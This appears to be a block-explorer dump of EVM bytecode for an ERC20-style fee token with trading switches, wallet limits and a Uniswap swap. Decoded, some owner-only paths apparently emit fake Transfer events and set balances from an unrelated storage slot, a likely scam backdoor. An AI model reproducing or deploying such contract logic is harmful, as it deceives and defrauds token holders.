14003565b5b828204905092915050565b60008151905061407281612bf5565b92915050565b60006020828403121561408e5761408d612bb9565b5b600061409c84828501614063565b91505092915050565b60006140c06140bb6140b684612bc3565b612dee565b612c21565b9050919050565b6140d0816140a5565b82525050565b6000819050919050565b60006140fb6140f66140f1846140d6565b612dee565b612c21565b9050919050565b61410b816140e0565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61414681612be3565b82525050565b6000614158838361413d565b60208301905092915050565b6000602082019050919050565b600061417c82614111565b614186818561411c565b93506141918361412d565b8060005b838110156141c25781516141a9888261414c565b97506141b483614164565b925050600181019050614195565b5085935050505092915050565b600060a0820190506141e460008301886140c7565b6141f16020830187614102565b81810360408301526142038186614171565b90506142126060830185613065565b61421f6080830184612ccd565b969550505050505056fea26469706673582212207650a9549bc21db36c7dbb854803ae2d7eb948c589a04a5dc6bb0087d6c60e4264736f6c63430008120033000000000000000000000000f1614900458243e23bafd43532eac2d359eabb68
Deployed Bytecode
0x60806040526004361061021e5760003560e01c806389291a8f11610123578063c2b7bbb6116100ab578063dd8546521161006f578063dd85465214610792578063e2f45605146107bd578063f2fde38b146107e8578063f8b45b0514610811578063ffb54a991461083c57610225565b8063c2b7bbb6146106bf578063c8c8ebe4146106e8578063c9567bf914610713578063cf9522fd1461072a578063dd62ed3e1461075557610225565b8063a457c2d7116100f2578063a457c2d7146105ca578063a9059cbb14610607578063ad296d9d14610644578063afa4f3b21461066d578063b18834aa1461069657610225565b806389291a8f146105345780638da5cb5b1461054b57806395d89b41146105765780639a7a23d6146105a157610225565b806342966c68116101a657806370a082311161017557806370a0823114610475578063715018a6146104b25780637221ec1a146104c9578063751039fc146105065780637d16a7211461051d57610225565b806342966c68146103cd578063583e0568146103f65780636ddd1713146104215780636f4fd18e1461044c57610225565b806323b872dd116101ed57806323b872dd146102d4578063311028af14610311578063313ce5671461033c57806339509351146103675780633be6e637146103a457610225565b806306fdde031461022a578063095ea7b3146102555780630f054c061461029257806318160ddd146102a957610225565b3661022557005b600080fd5b34801561023657600080fd5b5061023f610867565b60405161024c9190612b8d565b60405180910390f35b34801561026157600080fd5b5061027c60048036038101906102779190612c57565b6108f9565b6040516102899190612cb2565b60405180910390f35b34801561029e57600080fd5b506102a761091c565b005b3480156102b557600080fd5b506102be610a6d565b6040516102cb9190612cdc565b60405180910390f35b3480156102e057600080fd5b506102fb60048036038101906102f69190612cf7565b610a77565b6040516103089190612cb2565b60405180910390f35b34801561031d57600080fd5b50610326610aa6565b6040516103339190612cdc565b60405180910390f35b34801561034857600080fd5b50610351610aac565b60405161035e9190612d66565b60405180910390f35b34801561037357600080fd5b5061038e60048036038101906103899190612c57565b610ab5565b60405161039b9190612cb2565b60405180910390f35b3480156103b057600080fd5b506103cb60048036038101906103c69190612d81565b610aec565b005b3480156103d957600080fd5b506103f460048036038101906103ef9190612dc1565b610b57565b005b34801561040257600080fd5b5061040b610b73565b6040516104189190612e4d565b60405180910390f35b34801561042d57600080fd5b50610436610b97565b6040516104439190612cb2565b60405180910390f35b34801561045857600080fd5b50610473600480360381019061046e9190612fdc565b610baa565b005b34801561048157600080fd5b5061049c60048036038101906104979190613038565b610c47565b6040516104a99190612cdc565b60405180910390f35b3480156104be57600080fd5b506104c7610c8f565b005b3480156104d557600080fd5b506104f060048036038101906104eb9190613038565b610ca3565b6040516104fd9190612cb2565b60405180910390f35b34801561051257600080fd5b5061051b610cf9565b005b34801561052957600080fd5b50610532610d1e565b005b34801561054057600080fd5b50610549610d43565b005b34801561055757600080fd5b50610560610dd7565b60405161056d9190613074565b60405180910390f35b34801561058257600080fd5b5061058b610e01565b6040516105989190612b8d565b60405180910390f35b3480156105ad57600080fd5b506105c860048036038101906105c3919061308f565b610e93565b005b3480156105d657600080fd5b506105f160048036038101906105ec9190612c57565b610f39565b6040516105fe9190612cb2565b60405180910390f35b34801561061357600080fd5b5061062e60048036038101906106299190612c57565b610fb0565b60405161063b9190612cb2565b60405180910390f35b34801561065057600080fd5b5061066b60048036038101906106669190612fdc565b610fd3565b005b34801561067957600080fd5b50610694600480360381019061068f9190612dc1565b6110d8565b005b3480156106a257600080fd5b506106bd60048036038101906106b8919061312a565b611108565b005b3480156106cb57600080fd5b506106e660048036038101906106e19190613038565b6111e5565b005b3480156106f457600080fd5b506106fd611231565b60405161070a9190612cdc565b60405180910390f35b34801561071f57600080fd5b50610728611237565b005b34801561073657600080fd5b5061073f61125c565b60405161074c9190612cdc565b60405180910390f35b34801561076157600080fd5b5061077c6004803603810190610777919061318a565b611262565b6040516107899190612cdc565b60405180910390f35b34801561079e57600080fd5b506107a76112e9565b6040516107b49190612cdc565b60405180910390f35b3480156107c957600080fd5b506107d26112ef565b6040516107df9190612cdc565b60405180910390f35b3480156107f457600080fd5b5061080f600480360381019061080a9190613038565b6112f5565b005b34801561081d57600080fd5b50610826611378565b6040516108339190612cdc565b60405180910390f35b34801561084857600080fd5b5061085161137e565b60405161085e9190612cb2565b60405180910390f35b606060048054610876906131f9565b80601f01602080910402602001604051908101604052809291908181526020018280546108a2906131f9565b80156108ef5780601f106108c4576101008083540402835291602001916108ef565b820191906000526020600020905b8154815290600101906020018083116108d257829003601f168201915b5050505050905090565b600080610904611391565b9050610911818585611399565b600191505092915050565b610924611562565b600030905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016109649190613074565b602060405180830381865afa158015610981573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a5919061323f565b9050600081116109ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e1906132b8565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610a259291906132d8565b6020604051808303816000875af1158015610a44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a689190613316565b505050565b6000600354905090565b600080610a82611391565b9050610a8f8582856115e0565b610a9a85858561166c565b60019150509392505050565b60105481565b60006009905090565b600080610ac0611391565b9050610ae1818585610ad28589611262565b610adc9190613372565b611399565b600191505092915050565b610af4611562565b60148211158015610b06575060328111155b610b45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3c906133f2565b60405180910390fd5b81601281905550806011819055505050565b610b5f611562565b610b70610b6a611391565b82612046565b50565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b601360009054906101000a900460ff1681565b610bb2611562565b60005b8251811015610c42578160156000858481518110610bd657610bd5613412565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610c3a90613441565b915050610bb5565b505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c97611562565b610ca1600061221b565b565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610d01611562565b6000610d0b610a6d565b905080600e8190555080600d8190555050565b610d26611562565b6001601360006101000a81548160ff021916908315150217905550565b610d4b611562565b60004711610d8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d85906134d5565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610dd4573d6000803e3d6000fd5b50565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610e10906131f9565b80601f0160208091040260200160405190810160405280929190818152602001828054610e3c906131f9565b8015610e895780601f10610e5e57610100808354040283529160200191610e89565b820191906000526020600020905b815481529060010190602001808311610e6c57829003601f168201915b5050505050905090565b610e9b611562565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2290613567565b60405180910390fd5b610f3582826122e1565b5050565b600080610f44611391565b90506000610f528286611262565b905083811015610f97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8e906135f9565b60405180910390fd5b610fa48286868403611399565b60019250505092915050565b600080610fbb611391565b9050610fc881858561166c565b600191505092915050565b610fdb611562565b60005b82518110156110d3578160016000858481518110610fff57610ffe613412565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555082818151811061106b5761106a613412565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb836040516110b89190612cb2565b60405180910390a280806110cb90613441565b915050610fde565b505050565b6110e0611562565b6110e8610aac565b600a6110f4919061374c565b816110ff9190613797565b600f8190555050565b611110611562565b60005b838390508110156111df5783838281811061113157611130613412565b5b90506020020160208101906111469190613038565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111c49190612cdc565b60405180910390a380806111d790613441565b915050611113565b50505050565b6111ed611562565b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600e5481565b61123f611562565b6001601360016101000a81548160ff021916908315150217905550565b60115481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60125481565b600f5481565b6112fd611562565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361136c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113639061384b565b60405180910390fd5b6113758161221b565b50565b600d5481565b601360019054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ff906138dd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611477576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146e9061396f565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115559190612cdc565b60405180910390a3505050565b61156a611391565b73ffffffffffffffffffffffffffffffffffffffff16611588612382565b73ffffffffffffffffffffffffffffffffffffffff16146115de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d5906139db565b60405180910390fd5b565b60006115ec8484611262565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146116665781811015611658576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164f90613a47565b60405180910390fd5b6116658484848403611399565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d290613ad9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361174a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174190613b6b565b60405180910390fd5b436016819055506000810361176a5761176583836000612396565b612041565b601360019054906101000a900460ff1661185f57600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061181f5750600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61185e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185590613bd7565b60405180910390fd5b5b611867610dd7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118d557506118a5610dd7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561190e5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611948575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119615750600c60149054906101000a900460ff16155b15611be657601654600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611a4f5750601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611af657600e54811115611a99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9090613c69565b60405180910390fd5b600d54611aa583610c47565b82611ab09190613372565b1115611af1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae890613cd5565b60405180910390fd5b611be5565b601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611b995750601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611be457600e54811115611be3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bda90613d67565b60405180910390fd5b5b5b5b6000611bf130610c47565b905060008082119050808015611c135750601360009054906101000a900460ff165b8015611c2c5750600c60149054906101000a900460ff16155b8015611c825750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611cd85750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d2e5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d73576001600c60146101000a81548160ff021916908315150217905550611d578361260c565b6000600c60146101000a81548160ff0219169083151502179055505b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611e0d5750600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460165411155b15611e9a57611e5a600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461279e565b611e99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9090613df9565b60405180910390fd5b5b6000600c60149054906101000a900460ff169050600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f4f5750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611f5957600090505b6000811561203157601460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611fe257611fdb6064611fcd601154886127aa90919063ffffffff16565b6127c090919063ffffffff16565b905061200d565b61200a6064611ffc601254886127aa90919063ffffffff16565b6127c090919063ffffffff16565b90505b600081111561202257612021873083612396565b5b808561202e9190613e19565b94505b61203c878787612396565b505050505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036120b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ac90613ebf565b60405180910390fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561213b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213290613f51565b60405180910390fd5b816007546121499190613e19565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816003600082825461219d9190613e19565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516122029190612cdc565b60405180910390a3612216836000846127d6565b505050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b60008061238d6127db565b90508091505090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612405576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123fc90613ad9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612474576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246b90613b6b565b60405180910390fd5b61247f838383612883565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612505576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fc90613fe3565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516125f39190612cdc565b60405180910390a36126068484846127d6565b50505050565b600061261730610c47565b9050600080820361262957505061279b565b600060115460125461263b9190613372565b036126b7576000821180156126515750600f5482105b1561265e578190506126b2565b6000612688606461267a601154876127aa90919063ffffffff16565b6127c090919063ffffffff16565b905080846126969190613e19565b9350600f548411156126ac57600f5491506126b0565b8391505b505b61278f565b6000821180156126db57506126d86005600f546127c090919063ffffffff16565b82105b156126e757505061279b565b60008211801561270b57506127086005600f546127c090919063ffffffff16565b82115b80156127185750600f5482105b1561273a576127336005600f546127c090919063ffffffff16565b905061278e565b60006127646064612756601154876127aa90919063ffffffff16565b6127c090919063ffffffff16565b905080846127729190613e19565b9350600f5484111561278857600f54915061278c565b8391505b505b5b61279881612888565b50505b50565b60004382119050919050565b600081836127b89190613797565b905092915050565b600081836127ce9190614032565b905092915050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461285a57600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661287e565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b505050565b6000600267ffffffffffffffff8111156128a5576128a4612e6d565b5b6040519080825280602002602001820160405280156128d35781602001602082028036833780820191505090505b50905030816000815181106128eb576128ea613412565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612990573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129b49190614078565b816001815181106129c8576129c7613412565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612a43307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8473ffffffffffffffffffffffffffffffffffffffff16611399565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401612ac79594939291906141cf565b600060405180830381600087803b158015612ae157600080fd5b505af1158015612af5573d6000803e3d6000fd5b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b37578082015181840152602081019050612b1c565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b5f82612afd565b612b698185612b08565b9350612b79818560208601612b19565b612b8281612b43565b840191505092915050565b60006020820190508181036000830152612ba78184612b54565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612bee82612bc3565b9050919050565b612bfe81612be3565b8114612c0957600080fd5b50565b600081359050612c1b81612bf5565b92915050565b6000819050919050565b612c3481612c21565b8114612c3f57600080fd5b50565b600081359050612c5181612c2b565b92915050565b60008060408385031215612c6e57612c6d612bb9565b5b6000612c7c85828601612c0c565b9250506020612c8d85828601612c42565b9150509250929050565b60008115159050919050565b612cac81612c97565b82525050565b6000602082019050612cc76000830184612ca3565b92915050565b612cd681612c21565b82525050565b6000602082019050612cf16000830184612ccd565b92915050565b600080600060608486031215612d1057612d0f612bb9565b5b6000612d1e86828701612c0c565b9350506020612d2f86828701612c0c565b9250506040612d4086828701612c42565b9150509250925092565b600060ff82169050919050565b612d6081612d4a565b82525050565b6000602082019050612d7b6000830184612d57565b92915050565b60008060408385031215612d9857612d97612bb9565b5b6000612da685828601612c42565b9250506020612db785828601612c42565b9150509250929050565b600060208284031215612dd757612dd6612bb9565b5b6000612de584828501612c42565b91505092915050565b6000819050919050565b6000612e13612e0e612e0984612bc3565b612dee565b612bc3565b9050919050565b6000612e2582612df8565b9050919050565b6000612e3782612e1a565b9050919050565b612e4781612e2c565b82525050565b6000602082019050612e626000830184612e3e565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612ea582612b43565b810181811067ffffffffffffffff82111715612ec457612ec3612e6d565b5b80604052505050565b6000612ed7612baf565b9050612ee38282612e9c565b919050565b600067ffffffffffffffff821115612f0357612f02612e6d565b5b602082029050602081019050919050565b600080fd5b6000612f2c612f2784612ee8565b612ecd565b90508083825260208201905060208402830185811115612f4f57612f4e612f14565b5b835b81811015612f785780612f648882612c0c565b845260208401935050602081019050612f51565b5050509392505050565b600082601f830112612f9757612f96612e68565b5b8135612fa7848260208601612f19565b91505092915050565b612fb981612c97565b8114612fc457600080fd5b50565b600081359050612fd681612fb0565b92915050565b60008060408385031215612ff357612ff2612bb9565b5b600083013567ffffffffffffffff81111561301157613010612bbe565b5b61301d85828601612f82565b925050602061302e85828601612fc7565b9150509250929050565b60006020828403121561304e5761304d612bb9565b5b600061305c84828501612c0c565b91505092915050565b61306e81612be3565b82525050565b60006020820190506130896000830184613065565b92915050565b600080604083850312156130a6576130a5612bb9565b5b60006130b485828601612c0c565b92505060206130c585828601612fc7565b9150509250929050565b600080fd5b60008083601f8401126130ea576130e9612e68565b5b8235905067ffffffffffffffff811115613107576131066130cf565b5b60208301915083602082028301111561312357613122612f14565b5b9250929050565b60008060006040848603121561314357613142612bb9565b5b600084013567ffffffffffffffff81111561316157613160612bbe565b5b61316d868287016130d4565b9350935050602061318086828701612c42565b9150509250925092565b600080604083850312156131a1576131a0612bb9565b5b60006131af85828601612c0c565b92505060206131c085828601612c0c565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061321157607f821691505b602082108103613224576132236131ca565b5b50919050565b60008151905061323981612c2b565b92915050565b60006020828403121561325557613254612bb9565b5b60006132638482850161322a565b91505092915050565b7f4e6f20746f6b656e7320746f20636c6561720000000000000000000000000000600082015250565b60006132a2601283612b08565b91506132ad8261326c565b602082019050919050565b600060208201905081810360008301526132d181613295565b9050919050565b60006040820190506132ed6000830185613065565b6132fa6020830184612ccd565b9392505050565b60008151905061331081612fb0565b92915050565b60006020828403121561332c5761332b612bb9565b5b600061333a84828501613301565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061337d82612c21565b915061338883612c21565b92508282019050808211156133a05761339f613343565b5b92915050565b7f466565732063616e6e6f74206578636565642033302500000000000000000000600082015250565b60006133dc601683612b08565b91506133e7826133a6565b602082019050919050565b6000602082019050818103600083015261340b816133cf565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061344c82612c21565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361347e5761347d613343565b5b600182019050919050565b7f546f6b656e3a206e6f2045544820746f20636c65617200000000000000000000600082015250565b60006134bf601683612b08565b91506134ca82613489565b602082019050919050565b600060208201905081810360008301526134ee816134b2565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b6000613551603983612b08565b915061355c826134f5565b604082019050919050565b6000602082019050818103600083015261358081613544565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006135e3602583612b08565b91506135ee82613587565b604082019050919050565b60006020820190508181036000830152613612816135d6565b9050919050565b60008160011c9050919050565b6000808291508390505b60018511156136705780860481111561364c5761364b613343565b5b600185161561365b5780820291505b808102905061366985613619565b9450613630565b94509492505050565b6000826136895760019050613745565b816136975760009050613745565b81600181146136ad57600281146136b7576136e6565b6001915050613745565b60ff8411156136c9576136c8613343565b5b8360020a9150848211156136e0576136df613343565b5b50613745565b5060208310610133831016604e8410600b841016171561371b5782820a90508381111561371657613715613343565b5b613745565b6137288484846001613626565b9250905081840481111561373f5761373e613343565b5b81810290505b9392505050565b600061375782612c21565b915061376283612d4a565b925061378f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613679565b905092915050565b60006137a282612c21565b91506137ad83612c21565b92508282026137bb81612c21565b915082820484148315176137d2576137d1613343565b5b5092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613835602683612b08565b9150613840826137d9565b604082019050919050565b6000602082019050818103600083015261386481613828565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006138c7602483612b08565b91506138d28261386b565b604082019050919050565b600060208201905081810360008301526138f6816138ba565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613959602283612b08565b9150613964826138fd565b604082019050919050565b600060208201905081810360008301526139888161394c565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006139c5602083612b08565b91506139d08261398f565b602082019050919050565b600060208201905081810360008301526139f4816139b8565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613a31601d83612b08565b9150613a3c826139fb565b602082019050919050565b60006020820190508181036000830152613a6081613a24565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613ac3602583612b08565b9150613ace82613a67565b604082019050919050565b60006020820190508181036000830152613af281613ab6565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613b55602383612b08565b9150613b6082613af9565b604082019050919050565b60006020820190508181036000830152613b8481613b48565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000613bc1601683612b08565b9150613bcc82613b8b565b602082019050919050565b60006020820190508181036000830152613bf081613bb4565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000613c53603583612b08565b9150613c5e82613bf7565b604082019050919050565b60006020820190508181036000830152613c8281613c46565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000613cbf601383612b08565b9150613cca82613c89565b602082019050919050565b60006020820190508181036000830152613cee81613cb2565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000613d51603683612b08565b9150613d5c82613cf5565b604082019050919050565b60006020820190508181036000830152613d8081613d44565b9050919050565b7f4f6e652070757263686173652070657220626c6f636b20616c6c6f7765642e2060008201527f5761697420666f72206e65787420626c6f636b2e000000000000000000000000602082015250565b6000613de3603483612b08565b9150613dee82613d87565b604082019050919050565b60006020820190508181036000830152613e1281613dd6565b9050919050565b6000613e2482612c21565b9150613e2f83612c21565b9250828203905081811115613e4757613e46613343565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000613ea9602183612b08565b9150613eb482613e4d565b604082019050919050565b60006020820190508181036000830152613ed881613e9c565b9050919050565b7f455243